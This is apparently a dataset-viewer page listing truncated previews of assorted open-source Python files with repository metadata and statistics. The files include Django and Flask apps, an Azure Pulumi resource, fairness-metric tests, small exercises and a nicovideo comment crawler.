] | 12 | 2020-06-05T22:56:39.000Z | 2022-02-10T10:35:13.000Z | gazepattern/eyedetector/admin.py | AriRodriguezCruz/mcfgpr | c6f83f8e68bbab0054a7ea337feab276fc0790fc | [
"MIT"
] | 1 | 2019-10-06T23:40:45.000Z | 2019-10-06T23:40:45.000Z | # -*- coding: utf-8 -*-
#django
from django.contrib import admin
from django.db import transaction
#python
import csv
from decimal import Decimal
#gazepattern
from .models import Experiment, ExperimentPoint, Image, ImageRectangle, ExperimentPointCSV, ExperimentFunction
@transaction.atomic
def procesar(modeladmin, req... | 31.878378 | 110 | 0.676982 | 245 | 2,359 | 6.37551 | 0.322449 | 0.046095 | 0.072983 | 0.099872 | 0.171575 | 0.135723 | 0.051216 | 0 | 0 | 0 | 0 | 0.00269 | 0.211954 | 2,359 | 74 | 111 | 31.878378 | 0.837547 | 0.018652 | 0 | 0.113208 | 0 | 0 | 0.083081 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018868 | false | 0 | 0.09434 | 0 | 0.528302 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
406203c920d38242adfa5e5ed2a39070a52fd1c1 | 373 | py | Python | codigo/hexagonal/app/adapter/light_bulb_repository.py | VulturARG/charla_01 | 43a53fded4f3205a02b00993a523e2f94b79fc99 | [
"Apache-2.0"
] | null | null | null | codigo/hexagonal/app/adapter/light_bulb_repository.py | VulturARG/charla_01 | 43a53fded4f3205a02b00993a523e2f94b79fc99 | [
"Apache-2.0"
] | null | null | null | codigo/hexagonal/app/adapter/light_bulb_repository.py | VulturARG/charla_01 | 43a53fded4f3205a02b00993a523e2f94b79fc99 | [
"Apache-2.0"
] | null | null | null | from codigo.hexagonal.app.domain.switchable_repository import Switchable
class LightBulb(Switchable):
def turn_on(self) -> bool:
print("Connecting with the device...")
print("The light is on")
return True
def turn_off(self) -> bool:
print("The light is off")
print("Dis... | 26.642857 | 72 | 0.646113 | 46 | 373 | 5.173913 | 0.586957 | 0.058824 | 0.109244 | 0.12605 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.24933 | 373 | 13 | 73 | 28.692308 | 0.85 | 0 | 0 | 0 | 0 | 0 | 0.246649 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.1 | 0 | 0.6 | 0.4 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
4062ba894ee618c56f6c5822e3859495a6c3298f | 541 | py | Python | aula12/ex1.py | otaviobizulli/python-exercices | 2c61f014bf481fa463721b174ddd4238bf8d0cb3 | [
"MIT"
] | null | null | null | aula12/ex1.py | otaviobizulli/python-exercices | 2c61f014bf481fa463721b174ddd4238bf8d0cb3 | [
"MIT"
] | null | null | null | aula12/ex1.py | otaviobizulli/python-exercices | 2c61f014bf481fa463721b174ddd4238bf8d0cb3 | [
"MIT"
] | null | null | null | from random import randint
menor = 100
linha = 0
maior = 0
m = []
for i in range(10):
m.append([])
for j in range(10):
m[i].append(randint(1,99))
for i in range(10):
for j in range(10):
print(f'{m[i][j]:2}',end=' ')
print()
for i in range(10):
for j in range(10):
if m[i][j... | 16.393939 | 76 | 0.51756 | 97 | 541 | 2.886598 | 0.309278 | 0.175 | 0.225 | 0.157143 | 0.346429 | 0.185714 | 0.185714 | 0.185714 | 0.185714 | 0.185714 | 0 | 0.064343 | 0.310536 | 541 | 32 | 77 | 16.90625 | 0.686327 | 0 | 0 | 0.318182 | 0 | 0 | 0.145794 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.045455 | 0.136364 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4067cec9a6ceb8438c7e66edc2d29eb2148964ae | 1,323 | py | Python | sql/src/test/resources/joins/create_sample_table.py | MichelaSalvemini/Modelli_project | b70d505f9c3fef4a5f857fdccaa60b1b64c8a71d | [
"Apache-2.0"
] | 677 | 2016-01-04T04:05:50.000Z | 2022-03-24T06:37:27.000Z | sql/src/test/resources/joins/create_sample_table.py | MichelaSalvemini/Modelli_project | b70d505f9c3fef4a5f857fdccaa60b1b64c8a71d | [
"Apache-2.0"
] | 249 | 2015-12-29T03:41:31.000Z | 2020-09-02T03:11:30.000Z | sql/src/test/resources/joins/create_sample_table.py | MichelaSalvemini/Modelli_project | b70d505f9c3fef4a5f857fdccaa60b1b64c8a71d | [
"Apache-2.0"
] | 148 | 2015-12-29T03:25:48.000Z | 2021-08-25T03:59:52.000Z | #! /usr/bin/env python
from __future__ import print_function
import pandas as pd
import numpy as np
import argparse
def generate_csv(start_index, fname):
cols = [
str('A' + str(i)) for i in range(start_index, NUM_COLS + start_index)
]
data = []
for i in range(NUM_ROWS):
vals = (np.ra... | 30.068182 | 77 | 0.670446 | 195 | 1,323 | 4.307692 | 0.4 | 0.091667 | 0.071429 | 0.095238 | 0.12619 | 0.092857 | 0.092857 | 0.092857 | 0 | 0 | 0 | 0.00565 | 0.197279 | 1,323 | 43 | 78 | 30.767442 | 0.785311 | 0.015873 | 0 | 0 | 1 | 0 | 0.142198 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03125 | false | 0 | 0.15625 | 0 | 0.1875 | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
40686c4879d63aced85e26a35f076b9028592fdb | 24,660 | py | Python | sdk/python/pulumi_azure_native/containerservice/v20191027preview/open_shift_managed_cluster.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/containerservice/v20191027preview/open_shift_managed_cluster.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/containerservice/v20191027preview/open_shift_managed_cluster.py | sebtelko/pulumi-azure-native | 711ec021b5c73da05611c56c8a35adb0ce3244e4 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... | 47.514451 | 856 | 0.679927 | 2,475 | 24,660 | 6.471919 | 0.084848 | 0.078974 | 0.069984 | 0.035585 | 0.77107 | 0.690348 | 0.619491 | 0.51517 | 0.478836 | 0.403546 | 0 | 0.003357 | 0.214761 | 24,660 | 518 | 857 | 47.606178 | 0.823848 | 0.200689 | 0 | 0.411215 | 1 | 0 | 0.209171 | 0.108394 | 0 | 0 | 0 | 0 | 0 | 1 | 0.152648 | false | 0.003115 | 0.024922 | 0 | 0.280374 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
40686f7cd56545ec9981f33c3903dd74fd6b1048 | 326 | py | Python | django_drf_server/quiz/migrations/0017_remove_quiz_questions.py | pammalPrasanna/quizie | 3c03552c39ef3d7e613f5b613479df4ef8d44ac1 | [
"MIT"
] | null | null | null | django_drf_server/quiz/migrations/0017_remove_quiz_questions.py | pammalPrasanna/quizie | 3c03552c39ef3d7e613f5b613479df4ef8d44ac1 | [
"MIT"
] | null | null | null | django_drf_server/quiz/migrations/0017_remove_quiz_questions.py | pammalPrasanna/quizie | 3c03552c39ef3d7e613f5b613479df4ef8d44ac1 | [
"MIT"
] | null | null | null | # Generated by Django 3.2.4 on 2021-06-17 02:01
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('quiz', '0016_auto_20210617_0724'),
]
operations = [
migrations.RemoveField(
model_name='quiz',
name='questions',
),
... | 18.111111 | 47 | 0.588957 | 35 | 326 | 5.371429 | 0.828571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135371 | 0.297546 | 326 | 17 | 48 | 19.176471 | 0.68559 | 0.138037 | 0 | 0 | 1 | 0 | 0.143369 | 0.082437 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4069e772d72345dc8c5aa0533940bffe33f5921a | 18,348 | py | Python | main.py | khan-git/webRecipies | 4fa9f9bc3c9809f82c5c8fd94dbb604da3443dcb | [
"MIT"
] | null | null | null | main.py | khan-git/webRecipies | 4fa9f9bc3c9809f82c5c8fd94dbb604da3443dcb | [
"MIT"
] | null | null | null | main.py | khan-git/webRecipies | 4fa9f9bc3c9809f82c5c8fd94dbb604da3443dcb | [
"MIT"
] | null | null | null | # -*- coding: iso-8859-1 -*-
import os
import shutil
import datetime
import sqlite3
from flask import Flask, request, session, render_template, g, redirect, url_for, abort, flash, make_response
from random import randint
import json
import urllib2
import json
from json.decoder import JSONObject
from werkzeug.utils imp... | 33 | 150 | 0.601373 | 2,018 | 18,348 | 5.418236 | 0.184836 | 0.019023 | 0.025608 | 0.032925 | 0.269984 | 0.225626 | 0.208432 | 0.20386 | 0.19764 | 0.125389 | 0 | 0.00772 | 0.25169 | 18,348 | 555 | 151 | 33.059459 | 0.788638 | 0.023545 | 0 | 0.307359 | 0 | 0.004329 | 0.214245 | 0.005297 | 0 | 0 | 0 | 0.001802 | 0 | 0 | null | null | 0.008658 | 0.02381 | null | null | 0.015152 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
406a21613d9b1dbc55f543cfe42bc9ef9b68a79c | 1,749 | py | Python | tests/bugs/core_2678_test.py | FirebirdSQL/firebird-qa | 96af2def7f905a06f178e2a80a2c8be4a4b44782 | [
"MIT"
] | 1 | 2022-02-05T11:37:13.000Z | 2022-02-05T11:37:13.000Z | tests/bugs/core_2678_test.py | FirebirdSQL/firebird-qa | 96af2def7f905a06f178e2a80a2c8be4a4b44782 | [
"MIT"
] | 1 | 2021-09-03T11:47:00.000Z | 2021-09-03T12:42:10.000Z | tests/bugs/core_2678_test.py | FirebirdSQL/firebird-qa | 96af2def7f905a06f178e2a80a2c8be4a4b44782 | [
"MIT"
] | 1 | 2021-06-30T14:14:16.000Z | 2021-06-30T14:14:16.000Z | #coding:utf-8
#
# id: bugs.core_2678
# title: Full outer join cannot use available indices (very slow execution)
# decription:
# tracker_id: CORE-2678
# min_versions: ['3.0']
# versions: 3.0
# qmid: None
import pytest
from firebird.qa import db_factory, isql_act, Action
# version: 3.... | 23.958904 | 109 | 0.619211 | 273 | 1,749 | 3.787546 | 0.326007 | 0.054159 | 0.038685 | 0.023211 | 0.255319 | 0.255319 | 0.255319 | 0.201161 | 0.201161 | 0.201161 | 0 | 0.101575 | 0.273871 | 1,749 | 72 | 110 | 24.291667 | 0.712598 | 0.142367 | 0 | 0.326531 | 0 | 0.020408 | 0.677419 | 0 | 0 | 0 | 0 | 0 | 0.020408 | 1 | 0.020408 | false | 0 | 0.040816 | 0 | 0.061224 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
406bff6901669314a484753b5d5e8d18397cb7b2 | 3,693 | py | Python | flask-app/web_app/storage_manager/storage_manager.py | PetrMokrov/back_end_project | 4dd58d61e637d10872fe58a154dc89f6d0829d94 | [
"MIT"
] | null | null | null | flask-app/web_app/storage_manager/storage_manager.py | PetrMokrov/back_end_project | 4dd58d61e637d10872fe58a154dc89f6d0829d94 | [
"MIT"
] | null | null | null | flask-app/web_app/storage_manager/storage_manager.py | PetrMokrov/back_end_project | 4dd58d61e637d10872fe58a154dc89f6d0829d94 | [
"MIT"
] | 1 | 2019-04-02T12:30:13.000Z | 2019-04-02T12:30:13.000Z | #!/usr/bin/env python
import psycopg2
import time
from ..models import User
class StorageManager:
def __init__(self):
self.conn = None
self._connect()
self._create_table()
def _connect(self):
while True:
try:
self.conn = psycopg2.connect(
... | 33.572727 | 107 | 0.479285 | 360 | 3,693 | 4.863889 | 0.272222 | 0.041119 | 0.034266 | 0.068532 | 0.423187 | 0.390634 | 0.256996 | 0.229012 | 0.190177 | 0.138778 | 0 | 0.015195 | 0.429732 | 3,693 | 109 | 108 | 33.880734 | 0.816239 | 0.093149 | 0 | 0.563218 | 0 | 0 | 0.087238 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0.057471 | 0.034483 | 0 | 0.183908 | 0.057471 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
407208de4a5ad6967ea27d59e0496b7b2dfa6fe5 | 747 | py | Python | meiduo_mall/meiduo_mall/apps/meiduo_admin/views/spus.py | aGrass0825/meiduo_project | 78c560c1e9a3205d4958ddbe798cd0ab2be41830 | [
"MIT"
] | null | null | null | meiduo_mall/meiduo_mall/apps/meiduo_admin/views/spus.py | aGrass0825/meiduo_project | 78c560c1e9a3205d4958ddbe798cd0ab2be41830 | [
"MIT"
] | null | null | null | meiduo_mall/meiduo_mall/apps/meiduo_admin/views/spus.py | aGrass0825/meiduo_project | 78c560c1e9a3205d4958ddbe798cd0ab2be41830 | [
"MIT"
] | null | null | null | from rest_framework.generics import ListAPIView
from rest_framework.permissions import IsAdminUser
from goods.models import SPU, SPUSpecification
from meiduo_admin.serializers.spus import SPUSimpleSerializer, SPUSpecSerializer
class SPUSimpleView(ListAPIView):
permission_classes = [IsAdminUser]
queryset = S... | 24.096774 | 80 | 0.749665 | 76 | 747 | 7.236842 | 0.539474 | 0.029091 | 0.061818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.167336 | 747 | 30 | 81 | 24.9 | 0.884244 | 0.113788 | 0 | 0.133333 | 0 | 0 | 0.003072 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.266667 | 0 | 0.866667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
40771f48cc35e55bf1ed0377d840f200b12f6982 | 739 | py | Python | Use.py | XtremeCoder1384/SongDownloader | 7bb06d7961ec699af8517cbd7cb4a1ec83d4fd02 | [
"MIT"
] | 1 | 2019-03-04T02:26:41.000Z | 2019-03-04T02:26:41.000Z | Use.py | XtremeCoder1384/SongDownloader | 7bb06d7961ec699af8517cbd7cb4a1ec83d4fd02 | [
"MIT"
] | 1 | 2018-12-20T02:32:35.000Z | 2019-03-11T12:51:15.000Z | Use.py | IngeniousCoder/SongDownloader | 7bb06d7961ec699af8517cbd7cb4a1ec83d4fd02 | [
"MIT"
] | null | null | null | import os
import youtube_dl
os.system("setup.bat")
playlist = input("Paste the Youtube Playlist URL Here.")
track = 1
print("""THIS TOOL WILL ATTEMPT TO DOWNLOAD THE FIRST 1000 SONGS IN THE QUEUE.\n
PLEASE DO NOT INTERRUPT THE TOOL.
YOU MAY CLOSE THE TOOL WHEN IT DISPLAYS "DONE!".
ALL... | 36.95 | 129 | 0.663058 | 113 | 739 | 4.327434 | 0.575221 | 0.03681 | 0.04499 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020725 | 0.216509 | 739 | 19 | 130 | 38.894737 | 0.823834 | 0 | 0 | 0 | 0 | 0.058824 | 0.656944 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.117647 | 0 | 0.117647 | 0.117647 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
407a65f9c4b9f958fde5ab42bad4bdd15788bb31 | 4,046 | py | Python | tests/test_classification_metric.py | DaveFClarke/ml_bias_checking | 90f67ebc602b6107042e6cbff3268051bb3b1c95 | [
"Apache-2.0"
] | 2 | 2021-07-31T20:52:37.000Z | 2022-02-15T21:05:17.000Z | tests/test_classification_metric.py | DaveFClarke/ml_bias_checking | 90f67ebc602b6107042e6cbff3268051bb3b1c95 | [
"Apache-2.0"
] | 2 | 2021-08-25T16:16:43.000Z | 2022-02-10T05:26:14.000Z | tests/test_classification_metric.py | DaveFClarke/ml_bias_checking | 90f67ebc602b6107042e6cbff3268051bb3b1c95 | [
"Apache-2.0"
] | 1 | 2019-05-21T15:31:24.000Z | 2019-05-21T15:31:24.000Z | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import numpy as np
import pandas as pd
from aif360.datasets import BinaryLabelDataset
from aif360.metrics import ClassificationMetric
def test_generalized_entropy_inde... | 34.87931 | 85 | 0.505685 | 496 | 4,046 | 3.979839 | 0.129032 | 0.02229 | 0.018237 | 0.109422 | 0.698582 | 0.681864 | 0.675785 | 0.641337 | 0.624113 | 0.624113 | 0 | 0.077936 | 0.324518 | 4,046 | 115 | 86 | 35.182609 | 0.644347 | 0 | 0 | 0.696078 | 0 | 0 | 0.04696 | 0 | 0 | 0 | 0 | 0 | 0.04902 | 1 | 0.039216 | false | 0 | 0.078431 | 0 | 0.117647 | 0.009804 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
40804fd1f1dd57a07519de8f44b10f0b6f6d1a54 | 274 | py | Python | platonic/platonic/box/implementation.py | anatoly-scherbakov/platonic | b2d239e19f3ebf5a562b6aabcd4b82492bb03564 | [
"MIT"
] | 1 | 2019-11-01T09:08:50.000Z | 2019-11-01T09:08:50.000Z | platonic/platonic/box/implementation.py | anatoly-scherbakov/platonic | b2d239e19f3ebf5a562b6aabcd4b82492bb03564 | [
"MIT"
] | null | null | null | platonic/platonic/box/implementation.py | anatoly-scherbakov/platonic | b2d239e19f3ebf5a562b6aabcd4b82492bb03564 | [
"MIT"
] | null | null | null | from typing import TypeVar
from .abstract import AbstractBox
T = TypeVar('T')
class ValueBox(AbstractBox[T]):
_value: T
@property
def value(self) -> T:
return self._value
@value.setter
def value(self, value: T):
self._value = value
| 15.222222 | 33 | 0.635036 | 35 | 274 | 4.885714 | 0.428571 | 0.157895 | 0.140351 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.262774 | 274 | 17 | 34 | 16.117647 | 0.846535 | 0 | 0 | 0 | 0 | 0 | 0.00365 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.181818 | 0.090909 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
40826ce560682ad3ad560f8fecc12e0ab6658bc0 | 767 | py | Python | 39. Combination Sum.py | MapleLove2014/leetcode | 135c79ebe98815d0e38280edfadaba90e677aff5 | [
"Apache-2.0"
] | 1 | 2020-12-04T07:38:16.000Z | 2020-12-04T07:38:16.000Z | 39. Combination Sum.py | MapleLove2014/leetcode | 135c79ebe98815d0e38280edfadaba90e677aff5 | [
"Apache-2.0"
] | null | null | null | 39. Combination Sum.py | MapleLove2014/leetcode | 135c79ebe98815d0e38280edfadaba90e677aff5 | [
"Apache-2.0"
] | null | null | null | class Solution:
def combinationSum(self, candidates, target):
def lookup(candidates, index, target, combine, result):
if target == 0:
result.append(combine)
return
if index >= len(candidates) and target > 0:
return
... | 34.863636 | 114 | 0.555411 | 79 | 767 | 5.392405 | 0.35443 | 0.211268 | 0.147887 | 0.126761 | 0.103286 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025097 | 0.324641 | 767 | 21 | 115 | 36.52381 | 0.797297 | 0 | 0 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0 | 0 | 0.333333 | 0.111111 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
4082bcb5f99112c93d2d504f08622c615955a33b | 1,204 | py | Python | crawl_comments.py | tosh1ki/NicoCrawler | 236029f103e01de9e61a042759dc9bf2cb7d3d55 | [
"MIT"
] | 1 | 2015-03-04T14:06:33.000Z | 2015-03-04T14:06:33.000Z | crawl_comments.py | tosh1ki/NicoCrawler | 236029f103e01de9e61a042759dc9bf2cb7d3d55 | [
"MIT"
] | 2 | 2015-03-04T02:48:18.000Z | 2015-03-04T14:18:32.000Z | crawl_comments.py | tosh1ki/NicoCrawler | 236029f103e01de9e61a042759dc9bf2cb7d3d55 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
__doc__ = '''
Crawl comment from nicovideo.jp
Usage:
crawl_comments.py --url <url> --mail <mail> --pass <pass> [--sqlite <sqlite>] [--csv <csv>]
Options:
--url <url>
--mail <mail>
--pass <pass>
--sqlite <sqlite> (optional) path of comment DB [d... | 26.173913 | 102 | 0.671096 | 158 | 1,204 | 4.797468 | 0.411392 | 0.036939 | 0.026385 | 0.036939 | 0.08971 | 0.08971 | 0.08971 | 0.08971 | 0 | 0 | 0 | 0.008188 | 0.188538 | 1,204 | 45 | 103 | 26.755556 | 0.767656 | 0.208472 | 0 | 0 | 0 | 0.083333 | 0.450794 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.166667 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.